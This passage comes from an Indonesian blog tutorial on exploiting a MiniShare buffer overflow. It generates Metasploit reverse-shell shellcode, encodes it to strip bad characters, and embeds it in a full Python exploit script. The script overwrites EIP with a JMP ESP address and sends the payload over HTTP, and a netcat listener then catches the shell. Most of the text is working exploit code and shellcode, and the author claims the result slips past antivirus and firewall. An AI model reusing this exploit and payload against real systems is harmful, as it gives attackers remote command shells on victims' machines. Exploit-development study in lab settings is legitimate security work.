Sekarang kita telah memiliki kode eksekusi, bagaimanapun juga, exploit kita masih tidak melakukan apapun yang berguna, sampai kita kode tempatkan bahasa mesin kedalam buffer kita. Untuk hal ini, kita bisa gunakan tool Metasploit msfpayload untuk meregernerasi shellcode yang bisa kita tambahkan kedalam kode buffer kita. Kode ini dibuat dengan opkode bahasa mesin yang bisa melakukan hal seperti membuka shells, menjalankan program dan lan-lain.


Gunakan LHOST dan LPORT parameter untuk menghubungkan kembali korban kita ke system LHOST=172.16.10.1 LPORT=443. Gunakan parameter C untuk menampilkan output dalam ctyle format.

Spoiler! : 
Quote:root@red-dragon:/opt/metasploit/msf3# msfpayload windows/shell_reverse_tcp LHOST=172.16.10.1 LPORT=443 C
/*
* windows/shell_reverse_tcp - 314 bytes
* http://www.metasploit.com
* VERBOSE=false, LHOST=172.16.10.1, LPORT=443,
* ReverseConnectRetries=5, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xac\x10\x0a\x01\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";


Terlihat bahwa shellcode kita memiliki karakter buruk sepert \x00 \x0a dan \x0d. Untuk itu kita gunakan msfencode untuk meregenerasi shellcode kita guna manghindari karakter buruk di dalam shellcode kita. Kali ini saya menggunakan encode x86/shikata_ga_nai.

Spoiler! : 
Quote:root@red-dragon:~# msfpayload windows/shell_reverse_tcp LHOST=172.16.10.1 LPORT=4444 R | msfencode -a x86 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -t c
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

unsigned char buf[] =
"\xd9\xea\xba\xb5\xcf\x9b\x38\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x4f\x83\xc0\x04\x31\x50\x15\x03\x50\x15\x57\x3a\x67\xd0\x1e"
"\xc5\x98\x21\x40\x4f\x7d\x10\x52\x2b\xf5\x01\x62\x3f\x5b\xaa"
"\x09\x6d\x48\x39\x7f\xba\x7f\x8a\x35\x9c\x4e\x0b\xf8\x20\x1c"
"\xcf\x9b\xdc\x5f\x1c\x7b\xdc\xaf\x51\x7a\x19\xcd\x9a\x2e\xf2"
"\x99\x09\xde\x77\xdf\x91\xdf\x57\x6b\xa9\xa7\xd2\xac\x5e\x1d"
"\xdc\xfc\xcf\x2a\x96\xe4\x64\x74\x07\x14\xa8\x67\x7b\x5f\xc5"
"\x53\x0f\x5e\x0f\xaa\xf0\x50\x6f\x60\xcf\x5c\x62\x79\x17\x5a"
"\x9d\x0c\x63\x98\x20\x16\xb0\xe2\xfe\x93\x25\x44\x74\x03\x8e"
"\x74\x59\xd5\x45\x7a\x16\x92\x02\x9f\xa9\x77\x39\x9b\x22\x76"
"\xee\x2d\x70\x5c\x2a\x75\x22\xfd\x6b\xd3\x85\x02\x6b\xbb\x7a"
"\xa6\xe7\x2e\x6e\xd0\xa5\x26\x43\xee\x55\xb7\xcb\x79\x25\x85"
"\x54\xd1\xa1\xa5\x1d\xff\x36\xc9\x37\x47\xa8\x34\xb8\xb7\xe0"
"\xf2\xec\xe7\x9a\xd3\x8c\x6c\x5b\xdb\x58\x22\x0b\x73\x33\x82"
"\xfb\x33\xe3\x6a\x16\xbc\xdc\x8a\x19\x16\x6b\x8d\x8e\x35\x7c"
"\x1b\x4e\x2e\x7f\x1b\x41\xf2\xf6\xfd\x0b\x1a\x5f\x56\xa4\x83"
"\xfa\x2c\x55\x4b\xd1\xa4\xf6\xde\xbe\x34\x70\xc3\x68\x63\xd5"
"\x35\x61\xe1\xcb\x6c\xdb\x17\x16\xe8\x24\x93\xcd\xc9\xab\x1a"
"\x83\x76\x88\x0c\x5d\x76\x94\x78\x31\x21\x42\xd6\xf7\x9b\x24"
"\x80\xa1\x70\xef\x44\x37\xbb\x30\x12\x38\x96\xc6\xfa\x89\x4f"
"\x9f\x05\x25\x18\x17\x7e\x5b\xb8\xd8\x55\xdf\xc8\x92\xf7\x76"
"\x41\x7b\x62\xcb\x0c\x7c\x59\x08\x29\xff\x6b\xf1\xce\x1f\x1e"
"\xf4\x8b\xa7\xf3\x84\x84\x4d\xf3\x3b\xa4\x47";


Selesai. Sudah tidak ada karakter buruk lagi di dalam shellcode kita. Sekarang masukan shellcode ini ke dalam buffer kita.

Spoiler! : 
Quote:#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
buffer+= "\x90" * 16
buffer+= ("\xd9\xea\xba\xb5\xcf\x9b\x38\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x4f\x83\xc0\x04\x31\x50\x15\x03\x50\x15\x57\x3a\x67\xd0\x1e"
"\xc5\x98\x21\x40\x4f\x7d\x10\x52\x2b\xf5\x01\x62\x3f\x5b\xaa"
"\x09\x6d\x48\x39\x7f\xba\x7f\x8a\x35\x9c\x4e\x0b\xf8\x20\x1c"
"\xcf\x9b\xdc\x5f\x1c\x7b\xdc\xaf\x51\x7a\x19\xcd\x9a\x2e\xf2"
"\x99\x09\xde\x77\xdf\x91\xdf\x57\x6b\xa9\xa7\xd2\xac\x5e\x1d"
"\xdc\xfc\xcf\x2a\x96\xe4\x64\x74\x07\x14\xa8\x67\x7b\x5f\xc5"
"\x53\x0f\x5e\x0f\xaa\xf0\x50\x6f\x60\xcf\x5c\x62\x79\x17\x5a"
"\x9d\x0c\x63\x98\x20\x16\xb0\xe2\xfe\x93\x25\x44\x74\x03\x8e"
"\x74\x59\xd5\x45\x7a\x16\x92\x02\x9f\xa9\x77\x39\x9b\x22\x76"
"\xee\x2d\x70\x5c\x2a\x75\x22\xfd\x6b\xd3\x85\x02\x6b\xbb\x7a"
"\xa6\xe7\x2e\x6e\xd0\xa5\x26\x43\xee\x55\xb7\xcb\x79\x25\x85"
"\x54\xd1\xa1\xa5\x1d\xff\x36\xc9\x37\x47\xa8\x34\xb8\xb7\xe0"
"\xf2\xec\xe7\x9a\xd3\x8c\x6c\x5b\xdb\x58\x22\x0b\x73\x33\x82"
"\xfb\x33\xe3\x6a\x16\xbc\xdc\x8a\x19\x16\x6b\x8d\x8e\x35\x7c"
"\x1b\x4e\x2e\x7f\x1b\x41\xf2\xf6\xfd\x0b\x1a\x5f\x56\xa4\x83"
"\xfa\x2c\x55\x4b\xd1\xa4\xf6\xde\xbe\x34\x70\xc3\x68\x63\xd5"
"\x35\x61\xe1\xcb\x6c\xdb\x17\x16\xe8\x24\x93\xcd\xc9\xab\x1a"
"\x83\x76\x88\x0c\x5d\x76\x94\x78\x31\x21\x42\xd6\xf7\x9b\x24"
"\x80\xa1\x70\xef\x44\x37\xbb\x30\x12\x38\x96\xc6\xfa\x89\x4f"
"\x9f\x05\x25\x18\x17\x7e\x5b\xb8\xd8\x55\xdf\xc8\x92\xf7\x76"
"\x41\x7b\x62\xcb\x0c\x7c\x59\x08\x29\xff\x6b\xf1\xce\x1f\x1e"
"\xf4\x8b\xa7\xf3\x84\x84\x4d\xf3\x3b\xa4\x47")
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


9. Menguji keberhasilan ekspoit
Restart kembali minishare, dan kirim buffer ini. Sebelum mengirim buffer, kita akan menggunakan netcat untuk mendenganrkan setiap koneksi yang masuk. Dalam tutorial kali ini, saya membuat eksploit untuk menghubungi saya kembali pada port 4444. Sehingga saya gunakan netcat untuk mendegarkan setiap koneksi yang masuk ke port 4444 dengan perintah

Code:
root@red-dragon:~# nc -l 4444

Kembali ke OllyDbg. Set breakpoint dengan alamat JMP ESP. Kirim buffer kita, dan kembali lagi ke OllyDbg. Disini terjadi crash system, tekan F7 untuk melanjutkan ke alamat eksekusi selanjutnya, kemudian tekan kembali tombol F9 atau tombol play. Kembali lagi ke netcat, dan ini yang akan anda saksikan.


Kita berhasil masuk ke Command Prompt melewati antivirus dan firewall.
 

Indahnya Berbagi Copyright © 2012 Fast Loading -- Powered by Blogger